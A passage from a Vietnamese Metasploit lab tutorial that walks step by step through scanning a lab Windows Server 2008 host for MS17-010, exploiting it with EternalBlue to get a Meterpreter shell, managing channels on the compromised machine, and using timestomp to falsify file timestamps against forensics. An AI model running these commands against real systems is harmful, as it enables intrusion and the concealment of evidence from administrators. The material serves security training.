  4. □ Bạn sẽ nhận thấy rằng db_nmap không chạy tập lệnh lỗ hổng giống như công cụ nmap. Do đó, để xác định xem mục tiêu có dễ bị tấn công hay không, hãy chạy quét bằng cách sử dụng nmap thông thường. Khởi chạy một terminal mới. Nhập sudo nmap -p445 –script smb-vuln-ms17-010 192.168.177.100 và nhấn Enter. Nhập toor và nhấn Enter.(Hình chụp màn hình của terminal hiển thị đầu ra của lệnh nmap.)
  5. □ Bây giờ chúng ta đã biết rằng nó dễ bị tấn công, hãy chuyển sang msfconsole. Nhập search ms17-010 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả tìm kiếm ms17-010.)
  6. □ Chúng ta có một khai thác được xếp hạng tuyệt vời. Hãy bắt đầu với điều đó. Nhập use 5 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh use 5.)
  7. □ Khi bạn đã ở trong khai thác, hãy nhập info và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị thông tin cho khai thác smb_doublepulsar_rce.)
  8. □ Bây giờ, nhập show options và nhấn Enter để xem xét các tùy chọn khác nhau cho khai thác.(Hình chụp màn hình giao diện điều khiển msf hiển thị các tùy chọn cho khai thác smb_doublepulsar_rce.)
  9. □ Hai tùy chọn bắt buộc chưa được đặt, cụ thể là RHOST và LHOST. Nhập set RHOSTS 192.168.177.100 và nhấn Enter. Nhập set LHOST 192.168.177.18 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với các lệnh set RHOSTSset LHOST.)
  10. □ Nhập exploit và nhấn Enter để bắt đầu khai thác. Nếu bạn thực hiện một số nghiên cứu, bạn sẽ phát hiện ra rằng mục tiêu cần bị nhiễm DoublePulsar. Hãy tiếp tục. Mặc dù xếp hạng tuyệt vời, nhưng chúng ta không nhiễm máy.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh exploit. Khai thác không thành công vì máy mục tiêu không bị nhiễm DoublePulsar.)
  11. □ Tại thời điểm viết bài tập này, khai thác hiệu quả nhất chống lại Windows Server 2008 là số 2, mặc dù nó được xếp hạng trung bình. Nhập lại tìm kiếm, sau đó nhập use 2info. Đầu ra của các lệnh này được hiển thị trong hình chụp màn hình sau.(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả tìm kiếm ms17-010, lệnh use 2 và thông tin cho khai thác ms17_010_eternalblue.)
  12. □ Nó không hoàn toàn thành công, nhưng điều này đúng với hầu hết các phương pháp. Nhập show options và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị các tùy chọn cho khai thác ms17_010_eternalblue.)
  13. □ Tại đây, chúng ta cần đặt RHOSTS. Nhập set RHOSTS 192.168.177.100 và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh set RHOSTS.)
  14. □ Nhập exploit và nhấn Enter để bắt đầu khai thác.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh exploit.)
  15. □ Miễn là chúng ta thấy WIN, chúng ta đã thành công!(Hình chụp màn hình giao diện điều khiển msf hiển thị kết quả thành công của khai thác.)
  16. □ Khi bạn đã ở trong shell, chúng ta muốn sử dụng lệnh execute và tạo các kênh. Nhập execute -h và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị trợ giúp cho lệnh execute.)
  17. □ Mặc dù chúng ta không khám phá tất cả chúng ở đây trong bài tập này, bạn được khuyến khích khám phá. Nhập execute -f cmd.exe -c và nhấn Enter.
    o Lưu ý cách sử dụng các tham số khác nhau. Tham số -f được sử dụng để thiết lập lệnh thực thi và toán tử -c được sử dụng để thiết lập I/O kênh.
    o Tiếp theo, chúng ta có thể chạy lại lệnh execute để khởi động một kênh khác mà không cần chấm dứt kênh hiện tại.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh execute -f cmd.exe -c.)
  18. □ Bây giờ, chúng ta đã tạo một kênh. Hãy tạo thêm hai kênh nữa. Nhập execute -f notepad.exe -cexecute -f mspaint.exe -c.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của các lệnh execute -f notepad.exe -cexecute -f mspaint.exe -c.)
  19. □ Bây giờ chúng ta có ba kênh khác nhau đang chạy đồng thời trên máy nạn nhân. Để liệt kê các kênh có sẵn, chúng ta có thể sử dụng lệnh channel. Nếu chúng ta muốn gửi một số dữ liệu hoặc ghi một cái gì đó trên một kênh, chúng ta có thể sử dụng lệnh write theo sau là ID kênh mà chúng ta muốn ghi vào. Nhập channel -h và nhấn Enter để xem các tùy chọn.(Hình chụp màn hình giao diện điều khiển msf hiển thị trợ giúp cho lệnh channel.)
  20. □ Nhập channel -l và nhấn Enter để xem danh sách các kênh.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh channel -l.)
  21. □ Bây giờ, hãy ghi vào một kênh. Nhập write 1 và nhấn Enter. Làm theo hướng dẫn và viết một thông báo “Hello World, Metasploit was here.”(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh write 1 và thông báo được viết vào kênh.)
  22. □ Thực hiện lệnh write cùng với ID kênh đã nhắc chúng ta nhập dữ liệu của mình theo sau là dấu chấm. Chúng ta đã ghi thành công vào kênh. Chúng ta có thể đọc từ kênh bằng lệnh read. Nhập read 1 và nhấn Enter. Điều này sẽ đọc từ kênh 2.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh read 1.)
  23. □ Vì chúng ta đã ghi vào một dấu nhắc lệnh, thông báo của chúng ta không hoạt động như một lệnh. Để chuyển kênh sang nền, hãy sử dụng Ctrl + Z. Chúng ta có thể dễ dàng chuyển đổi giữa các kênh bằng cách sử dụng lệnh channel. Để kết thúc một kênh, chúng ta có thể sử dụng lệnh channel theo sau là -c và ID kênh.
  24. □ Điều này thể hiện sức mạnh của việc sử dụng nhiều kênh. Nó cũng cho thấy việc quản lý chúng đồng thời và chuyển đổi giữa các kênh khác nhau dễ dàng như thế nào. Việc sử dụng các kênh trở nên quan trọng khi chúng ta đang chạy nhiều dịch vụ trên máy mục tiêu. Metasploit gắn thẻ mỗi thông báo với một ID kênh riêng biệt, giúp nó xác định ngữ cảnh kênh mà lệnh cụ thể đó nên được thực thi.
  25. □ Quá trình giao tiếp trong Meterpreter tuân theo giao thức TLV, mang lại sự linh hoạt trong việc gắn thẻ các thông báo khác nhau với các ID kênh cụ thể để cung cấp hỗ trợ giao tiếp đa kênh.
    o TLV – (Thời gian, Độ dài, Giá trị) giao thức để truyền dữ liệu. Ưu điểm chính của việc sử dụng TLV là nó cho phép gắn thẻ dữ liệu với các số kênh cụ thể, do đó cho phép nhiều chương trình chạy trên nạn nhân giao tiếp với Meterpreter trên máy tấn công. Điều này tạo điều kiện cho việc thiết lập một số kênh giao tiếp đồng thời.
  26. □ Cuối cùng, chúng ta xem xét lệnh timestomp. Meterpreter có khả năng chống pháp y. Công cụ timestomp thay đổi các thuộc tính mục nhập Đã sửa đổi, Đã truy cập, Đã tạo của tệp, đôi khi được gọi là MACE.
  27. □ Chúng ta sử dụng kỹ thuật thay đổi các giá trị MACE để khiến người dùng mục tiêu nghĩ rằng tệp đã có mặt trên hệ thống trong một thời gian dài và nó chưa được chạm vào hoặc sửa đổi. Trong trường hợp hoạt động đáng ngờ, quản trị viên có thể kiểm tra các tệp được sửa đổi gần đây để tìm hiểu xem có tệp nào đã được sửa đổi hoặc truy cập hay không. Bằng cách sử dụng kỹ thuật này, tệp sẽ không xuất hiện trong danh sách các mục được truy cập hoặc sửa đổi gần đây. Mặc dù có các kỹ thuật khác để phát hiện xem các thuộc tính tệp đã bị sửa đổi hay chưa, kỹ thuật này vẫn rất tiện dụng.
  28. □ Trên máy Server 2008-Metasploit, hãy tạo một tệp và lưu nó dưới dạng C:\flag.txt. Khi tệp đã được tạo, hãy mở Thuộc tính của tệp.(Hình chụp màn hình của cửa sổ thuộc tính của tệp flag.txt trong Windows Server 2008.)
  29. □ Chuyển sang máy Parrot-Metasploit. Sử dụng lệnh timestomp, chúng ta sẽ cố gắng thay đổi các giá trị này. Trong shell Meterpreter, hãy nhập lệnh như được hiển thị trong hình chụp màn hình và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh timestomp C:\flag.txt -v.)
  30. □ Điều này cho chúng ta thấy dữ liệu hiện tại liên quan đến MACE.
  31. □ Bây giờ, hãy cố gắng thay đổi điều này. Nhập lệnh như được hiển thị trong hình chụp màn hình và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh timestomp C:\flag.txt -c “05/10/2017 01:00:00”.)
  32. □ Toán tử -c được sử dụng để thay đổi thời gian tạo của tệp. Tương tự, chúng ta có thể sử dụng các toán tử -m và -a để thay đổi các thuộc tính đã sửa đổi và truy cập lần cuối của tệp, tương ứng.
  33. □ Khi các thuộc tính đã được thay đổi, chúng ta có thể sử dụng lại toán tử –v để kiểm tra và xác minh xem chúng ta đã thực thi thành công các lệnh hay chưa. Hãy tiếp tục và kiểm tra lại các thuộc tính tệp. Nhập lệnh như được hiển thị trong hình chụp màn hình và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf với lệnh timestomp C:\flag.txt -v.)
  34. □ Thành công! Ngày hoạt động; thời gian không hoàn hảo nhưng gần. Chúng ta đã sửa đổi thành công các thuộc tính MACE của tệp. Bây giờ, tệp này có thể dễ dàng bị ẩn khỏi danh sách các tệp được sửa đổi hoặc truy cập gần đây.
  35. □ Chúng ta chỉ thay đổi một thuộc tính, nhưng tùy chọn –z sẽ thay đổi tất cả chúng. Tuy nhiên, toán tử –z sẽ gán cùng một giá trị cho cả bốn thuộc tính MACE, điều này thực tế là không thể. Phải có một số chênh lệch thời gian giữa thời gian tạo và thời gian truy cập. Do đó, nên tránh sử dụng toán tử –z. Metasploit đã tạo một nhóm công cụ được gọi là Kho vũ khí điều tra chống pháp y Metasploit (MAFIA) như một phần của các dự án nghiên cứu của mình, nhưng dự án chống pháp y đã bị ngừng, vì vậy việc sử dụng chúng bị hạn chế là tốt nhất.
  36. □ Một điều khác cần lưu ý là khả năng tùy chỉnh thời gian chờ trong Meterpreter. Nhập get_timeouts và nhấn Enter.(Hình chụp màn hình giao diện điều khiển msf hiển thị đầu ra của lệnh get_timeouts.)
  37. □ Thời hạn phiên chỉ định khoảng thời gian chờ được gán cho phiên, sau đó phiên sẽ bị chấm dứt. Nếu các sự cố liên quan đến mạng ngăn dữ liệu được truyền giữa hai điểm cuối nhưng không khiến ổ cắm bị ngắt kết nối hoàn toàn, lệnh Thời gian chờ giao tiếp cho phép chỉ định thời gian Meterpreter sẽ đợi để giao tiếp trước khi ngắt kết nối hoặc cố gắng kết nối lại, theo mặc định là 5 phút. Thời gian thử lại tổng cộng là tổng thời gian mà Meterpreter sẽ cố gắng thử lại giao tiếp trên đường truyền trở lại Metasploit, theo mặc định được đặt là 3600 giây (1 giờ). Thời gian chờ thử lại đề cập đến khoảng thời gian chờ trước khi cố gắng thiết lập kết nối.
  38. □ Sử dụng lệnh set_timeouts, chúng ta có thể thay đổi cấu hình thời gian chờ hiện tại. Để thay đổi Thời gian chờ giao tiếp, chúng ta có thể sử dụng cờ -c theo sau là thời gian tính bằng giây.

Bình luận về bài viết này

Thịnh hành